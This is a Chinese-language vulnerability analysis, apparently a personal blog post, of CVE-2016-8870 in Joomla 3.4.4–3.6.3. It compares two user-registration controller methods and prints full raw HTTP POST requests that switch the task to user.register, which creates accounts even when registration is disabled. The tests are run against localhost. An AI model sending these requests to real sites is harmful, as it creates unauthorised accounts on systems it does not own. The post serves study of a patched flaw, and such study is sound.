joomla创建普通用户漏洞分析(cve-2016-8870)

实验环境要求

Joomla版本 3.44到3.63

漏洞分析

在joomla中存在两个用户注册的方法:

  • components/com_users/controllers/registration.php中的UsersControllerRegistration::register()
  • components/com_users/controllers/user.php中的UsersControllerUser::register()

对比两个方法的代码
UsersControllerRegistration::register()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function register()
{
// Check for request forgeries.
JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

// If registration is disabled - Redirect to login page.
if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0)
{
$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));

return false;
}

$app = JFactory::getApplication();
$model = $this->getModel('Registration', 'UsersModel');

//...some other php code
}


UsersControllerUser::register()

1
2
3
4
5
6
7
8
9
10
public function register()
{
JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN'));

// Get the application
$app = JFactory::getApplication();

//...some other php code

}

通过phpstorm提供的对比功能(phpstorm的功能很强大),发现不同之处如图所示:

其实就是在UsersControllerRegistration::register()多了代码:

1
2
3
4
5
6
7
// If registration is disabled - Redirect to login page.
if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0)
{
$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));

return false;
}

上面这行代码就是用来检测是否可以注入,如果可以注册则跳转到用户注册页面。但是在UsersControllerUser::register()没有相关的验证。所以我们就可以使用UsersControllerUser::register()来绕过验证,从而就可以注册用户了。

漏洞测试

常规的在页面上注册的方式是UsersControllerRegistration::register()
发送的注册请求为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
POST /joomla/index.php/component/users/?task=registration.register HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/joomla/index.php/component/users/?view=registration
Cookie: mycookie
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------189711617232278
Content-Length: 1072

-----------------------------189711617232278
Content-Disposition: form-data; name="jform[name]"

spoock
-----------------------------189711617232278
Content-Disposition: form-data; name="jform[username]"

spoock
-----------------------------189711617232278
Content-Disposition: form-data; name="jform[password1]"

123456
-----------------------------189711617232278
Content-Disposition: form-data; name="jform[password2]"

123456
-----------------------------189711617232278
Content-Disposition: form-data; name="jform[email1]"

test@163.com
-----------------------------189711617232278
Content-Disposition: form-data; name="jform[email2]"

test@163.com
-----------------------------189711617232278
Content-Disposition: form-data; name="option"

com_users
-----------------------------189711617232278
Content-Disposition: form-data; name="task"

registration.register
-----------------------------189711617232278
Content-Disposition: form-data; name="949e7f6eaab9a1b4dc1c1702ae9f3fc6"

1
-----------------------------189711617232278--

通过阅读源代码,分析后台的路由请求,可知只需要将上述的请求包进行如下的修改,就可以使用UsersControllerUser::register()来进行注册了。

1
2
registration.register=user.register
jform[*] = user[*]

漏洞执行

在后台关闭用户注册的情况下来进行本次实验。
首先我们正常访问index.php得到cookietoken.
得到的Cookie和token如下:
Cookie

token

最后发送注册请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
POST /joomla/index.php/component/users/?task=registration.register HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/joomla/index.php/component/users/?view=registration
Cookie: Hm_lvt_40c56b34490f9ea56f05eb766d6b2e7b=1478150132,1478352968,1478592889,1479111038; _ga=GA1.1.696820131.1466840634; Phpstorm-fe73036=54a21206-2ee7-4a7a-a0c0-577019922af4; FYcH_2132_ulastactivity=0dcbKLaQEKWfXlPUzCf%2BD7DG9LJMnD9efMHUxRqUfY8JQCWyXOSx; FYcH_2132_lastcheckfeed=1%7C1470126538; phpbb3_4ttvx_u=1; phpbb3_4ttvx_k=; phpbb3_4ttvx_sid=322be368470dd08b26cfed25107e2222; fusionr1y13_visited=yes; ZzYr_2132_ulastactivity=9054L%2Bvwrmf2FdmA2Qmal3kSVZ3y9AkCSCehWaKcWPaIW%2BGR119g; ZzYr_2132_lastcheckfeed=8%7C1475036068; ZzYr_2132_nofavfid=1; ck_login_id_20=1; ck_login_language_20=en_us; ck_login_theme_20=Sugar5; e3e801563aa5e734a9b79dbd37bd17d9=uniubmstbjql5n4jjtn8icdpa5; 22fb69ec067044cb4a6b3dda65494eb4=i0lihk22g116nru8n8i6bn5t60
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------156031939117059
Content-Length: 1067

-----------------------------156031939117059
Content-Disposition: form-data; name="user[name]"

spoock
-----------------------------156031939117059
Content-Disposition: form-data; name="user[username]"

spoock
-----------------------------156031939117059
Content-Disposition: form-data; name="user[password1]"

123456
-----------------------------156031939117059
Content-Disposition: form-data; name="user[password2]"

123456
-----------------------------156031939117059
Content-Disposition: form-data; name="user[email1]"

test@163.com
-----------------------------156031939117059
Content-Disposition: form-data; name="user[email2]"

test@163.com
-----------------------------156031939117059
Content-Disposition: form-data; name="option"

com_users
-----------------------------156031939117059
Content-Disposition: form-data; name="task"

user.register
-----------------------------156031939117059
Content-Disposition: form-data; name="949e7f6eaab9a1b4dc1c1702ae9f3fc6"

1
-----------------------------156031939117059--

需要注意的是,修改的task的参数是POST data中的参数,而不是在URL处的参数(之前调试一直在这个地方出错,这一点是尤为需要注意的)。
最后就可以成功注册了,最后后台显示用户如下:

问题

虽然后台已经存在此用户,但是却无法登陆。

通过阅读代码发现
components/com_users/models/registration.php中的UsersModelRegistration::UsersModelRegistration()中存在代码:

1
2
3
4
5
6
7
8
9
$useractivation = $params->get('useractivation');
$sendpassword = $params->get('sendpassword', 1);

// Check if the user needs to activate their account.
if (($useractivation == 1) || ($useractivation == 2))
{
$data['activation'] = JApplicationHelper::getHash(JUserHelper::genRandomPassword());
$data['block'] = 1;
}

说明在进行常规注册的时候,会存在一个激活码。这个激活码需要通过邮箱认证才能够激活。即,如果用户要进行注册,则必须要使用邮箱进行激活。
components/com_users/controllers/registration.php中的UsersControllerRegistration::activate()

1
2
3
4
5
6
7
8
9
10
11
12
public function activate(){
$user = JFactory::getUser();
$input = JFactory::getApplication()->input;
$uParams = JComponentHelper::getParams('com_users');
// .....some other php codes
// If user registration or account activation is disabled, throw a 403.
if ($uParams->get('useractivation') == 0 || $uParams->get('allowUserRegistration') == 0) {
JError::raiseError(403, JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'));
return false;
}
// ..... some other php codes
}

从上面的激活代码中发现,如果用户没有被激活,则直接出现403错误。
如此看来,这个漏洞也没有什么用。注册的用户无法登陆。

修复方法

最后Joomla的修复方法是直接删除了UsersControllerUser::register()方法。

总结

这个漏洞并没有利用到新奇的思路,主要是joomla在对用户注册的情况处理不当造成的。这篇文章只是记录了我在调试这个漏洞的情况,并没有什么新的思路。
目前PHP的水平还有限,无法看到整个joomla的设计框架。

参考

Joomla未授权创建用户漏洞(CVE-2016-8870)分析:http://paper.seebug.org/86/